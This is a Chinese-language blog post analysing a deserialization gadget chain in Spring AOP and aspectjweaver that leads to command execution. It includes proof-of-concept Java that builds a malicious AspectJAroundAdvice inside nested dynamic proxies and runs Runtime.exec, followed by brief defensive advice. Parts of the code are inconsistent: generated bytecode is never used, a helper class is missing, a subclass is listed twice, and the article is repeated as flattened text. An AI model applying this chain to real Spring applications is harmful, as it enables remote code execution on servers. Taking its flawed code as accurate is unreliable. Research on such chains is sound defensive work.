SpringAOP新链浅析
字数 1811 2025-08-29 22:41:32

Spring AOP 反序列化漏洞分析与利用

前言

本文详细分析Spring AOP框架中存在的一个反序列化漏洞链,该漏洞依赖于Spring-AOP和aspectjweaver两个包,但值得注意的是spring-boot-starter-aop已经自带了这两个依赖。这个漏洞链的危害性较大,因为其依赖较少且广泛存在于Spring应用中。

漏洞终点分析

漏洞的终点位于org.springframework.aop.aspectj.AbstractAspectJAdvice类,该类实现了Serializable接口,使其能够参与反序列化过程。

关键污点函数是AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs方法,该方法实现了反射调用:

protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
    Object[] actualArgs = args;
    if (this.aspectJAdviceMethod.getParameterTypes().length == 0) {
        actualArgs = null;
    }
    try {
        ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
        return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
    }
    catch (IllegalArgumentException ex) {
        throw new AopInvocationException("Mismatch on arguments to advice method [" +
                this.aspectJAdviceMethod + "]; pointcut expression [" +
                this.pointcut.getExpression() + "]", ex);
    }
    catch (InvocationTargetException ex) {
        throw ex.getTargetException();
    }
}

AbstractAspectJAdvice的几个子类会调用这个污点方法:

  • AspectJAroundAdvice
  • AspectJAfterThrowingAdvice
  • AspectJAroundAdvice

这些子类通过invoke方法间接调用invokeAdviceMethod方法。

链中间关键部分

org.springframework.aop.framework.ReflectiveMethodInvocation类中,proceed方法会调用invoke方法:

public Object proceed() throws Throwable {
    if (this.currentInterceptorIndex == this.interceptorsAndDynamicMethodMatchers.size() - 1) {
        return invokeJoinpoint();
    }
    
    Object interceptorOrInterceptionAdvice =
            this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
    if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) {
        // 省略...
    }
    else {
        return ((MethodInterceptor) interceptorOrInterceptionAdvice)
                .invoke(this);
    }
}

关键点分析:

  1. interceptorOrInterceptionAdvice是从interceptorsAndDynamicMethodMatchers列表中获取的,这个列表可以被序列化控制
  2. currentInterceptorIndex是int类型,也可控
  3. 我们需要让interceptorOrInterceptionAdviceAspectJAroundAdvice类型,这样会触发invoke调用

反序列化入口

ReflectiveMethodInvocation本身没有实现Serializable接口,需要通过动态代理来创建。在org.springframework.aop.framework.JdkDynamicAopProxy#invoke方法中:

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    // 省略...
    List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
    // 创建ReflectiveMethodInvocation并调用proceed
    invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
    retVal = invocation.proceed();
    // 省略...
}

这里的关键是如何控制chain变量为我们想要的类(AspectJAroundAdvice)。

chain的来源有两种:

  1. methodCache获取 - 不可行,因为加了transient修饰符
  2. getInterceptorsAndDynamicInterceptionAdvice方法获取

getInterceptorsAndDynamicInterceptionAdvice方法最终返回interceptorList对象,其元素通过registry.getInterceptors(advisor)获取,而registryGlobalAdvisorAdapterRegistry.getInstance()获取的单例。

关键类org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors

public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException {
    List<MethodInterceptor> interceptors = new ArrayList<>(3);
    Advice advice = advisor.getAdvice();
    if (advice instanceof MethodInterceptor) {
        interceptors.add((MethodInterceptor) advice);
    }
    for (AdvisorAdapter adapter : this.adapters) {
        if (adapter.supportsAdvice(advice)) {
            interceptors.add(adapter.getInterceptor(advisor));
        }
    }
    if (interceptors.isEmpty()) {
        throw new UnknownAdviceTypeException(advisor.getAdvice());
    }
    return interceptors.toArray(new MethodInterceptor[0]);
}

漏洞利用链整体流程

  1. 通过动态代理创建JdkDynamicAopProxy实例
  2. 触发JdkDynamicAopProxy.invoke方法
  3. 创建ReflectiveMethodInvocation实例并调用proceed
  4. proceed方法调用AspectJAroundAdvice.invoke
  5. invoke调用invokeAdviceMethod
  6. 最终执行恶意字节码

POC构造关键点

1. 构造AspectJAroundAdvice

private static AspectJAroundAdvice getAspectJAroundAdvice() throws Exception {
    // 生成执行命令的字节码
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.makeClass("AspectJAdvice");
    CtMethod ctMethod = CtNewMethod.make("public void advice() { " +
            "try { Runtime.getRuntime().exec(\"calc\"); } catch (Exception e) {} }", ctClass);
    ctClass.addMethod(ctMethod);
    byte[] bytes = ctClass.toBytecode();
    
    // 创建AspectInstanceFactory
    SingletonAspectInstanceFactory aspectInstanceFactory = 
            new SingletonAspectInstanceFactory(new EvilAspect());
    
    // 创建AspectJAroundAdvice
    AspectJAroundAdvice advice = new AspectJAroundAdvice(
            EvilAspect.class.getMethod("advice"), 
            new AspectJExpressionPointcut(), 
            aspectInstanceFactory);
    
    // 反射修改必要属性
    Reflections.setFieldValue(advice, "aspectJAdviceMethod", 
            EvilAspect.class.getMethod("advice"));
    Reflections.setFieldValue(advice, "declarationOrder", -1);
    
    return advice;
}

2. 构造动态代理对象

public static Object getObject() throws Exception {
    // 获取恶意AspectJAroundAdvice
    AspectJAroundAdvice advice = getAspectJAroundAdvice();
    
    // 创建AdvisedSupport实例
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(new Object());
    
    // 创建包含恶意advice的Advisor
    DefaultPointcutAdvisor advisor = new DefaultPointcutAdvisor();
    advisor.setAdvice(advice);
    advisedSupport.addAdvisor(advisor);
    
    // 创建动态代理
    JdkDynamicAopProxy jdkDynamicAopProxy = new JdkDynamicAopProxy(advisedSupport);
    
    // 再套一层代理,用于触发toString
    CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
    handler.addHandler(Advice.class, jdkDynamicAopProxy);
    handler.addHandler(MethodInterceptor.class, jdkDynamicAopProxy);
    
    return Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), 
            new Class[]{Advice.class, MethodInterceptor.class}, 
            handler);
}

优化后的POC

通过分析,可以简化部分反射操作:

private static AspectJAroundAdvice getOptimizedAspectJAroundAdvice() throws Exception {
    // 生成恶意字节码...
    
    // 直接通过构造函数设置declarationOrder为-1
    AspectJAroundAdvice advice = new AspectJAroundAdvice(
            EvilAspect.class.getMethod("advice"), 
            new AspectJExpressionPointcut(), 
            new SingletonAspectInstanceFactory(new EvilAspect()));
    
    // 只需要设置aspectJAdviceMethod
    Reflections.setFieldValue(advice, "aspectJAdviceMethod", 
            EvilAspect.class.getMethod("advice"));
    
    return advice;
}

总结

这个Spring AOP反序列化漏洞链具有以下特点:

  1. 依赖较少,仅需spring-aop和aspectjweaver
  2. 利用动态代理和反射机制实现攻击
  3. 最终可以执行任意命令
  4. 在Spring Boot应用中广泛存在

防御措施:

  1. 升级Spring框架到安全版本
  2. 对反序列化操作进行严格限制
  3. 使用安全工具检测应用中是否存在相关依赖
Spring AOP 反序列化漏洞分析与利用 前言 本文详细分析Spring AOP框架中存在的一个反序列化漏洞链,该漏洞依赖于Spring-AOP和aspectjweaver两个包,但值得注意的是spring-boot-starter-aop已经自带了这两个依赖。这个漏洞链的危害性较大,因为其依赖较少且广泛存在于Spring应用中。 漏洞终点分析 漏洞的终点位于 org.springframework.aop.aspectj.AbstractAspectJAdvice 类,该类实现了 Serializable 接口,使其能够参与反序列化过程。 关键污点函数是 AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs 方法,该方法实现了反射调用: AbstractAspectJAdvice 的几个子类会调用这个污点方法: AspectJAroundAdvice AspectJAfterThrowingAdvice AspectJAroundAdvice 这些子类通过 invoke 方法间接调用 invokeAdviceMethod 方法。 链中间关键部分 在 org.springframework.aop.framework.ReflectiveMethodInvocation 类中, proceed 方法会调用 invoke 方法: 关键点分析: interceptorOrInterceptionAdvice 是从 interceptorsAndDynamicMethodMatchers 列表中获取的,这个列表可以被序列化控制 currentInterceptorIndex 是int类型,也可控 我们需要让 interceptorOrInterceptionAdvice 是 AspectJAroundAdvice 类型,这样会触发 invoke 调用 反序列化入口 ReflectiveMethodInvocation 本身没有实现 Serializable 接口,需要通过动态代理来创建。在 org.springframework.aop.framework.JdkDynamicAopProxy#invoke 方法中: 这里的关键是如何控制 chain 变量为我们想要的类( AspectJAroundAdvice )。 chain 的来源有两种: 从 methodCache 获取 - 不可行,因为加了 transient 修饰符 从 getInterceptorsAndDynamicInterceptionAdvice 方法获取 getInterceptorsAndDynamicInterceptionAdvice 方法最终返回 interceptorList 对象,其元素通过 registry.getInterceptors(advisor) 获取,而 registry 是 GlobalAdvisorAdapterRegistry.getInstance() 获取的单例。 关键类 org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors : 漏洞利用链整体流程 通过动态代理创建 JdkDynamicAopProxy 实例 触发 JdkDynamicAopProxy.invoke 方法 创建 ReflectiveMethodInvocation 实例并调用 proceed proceed 方法调用 AspectJAroundAdvice.invoke invoke 调用 invokeAdviceMethod 最终执行恶意字节码 POC构造关键点 1. 构造AspectJAroundAdvice 2. 构造动态代理对象 优化后的POC 通过分析,可以简化部分反射操作: 总结 这个Spring AOP反序列化漏洞链具有以下特点: 依赖较少,仅需spring-aop和aspectjweaver 利用动态代理和反射机制实现攻击 最终可以执行任意命令 在Spring Boot应用中广泛存在 防御措施: 升级Spring框架到安全版本 对反序列化操作进行严格限制 使用安全工具检测应用中是否存在相关依赖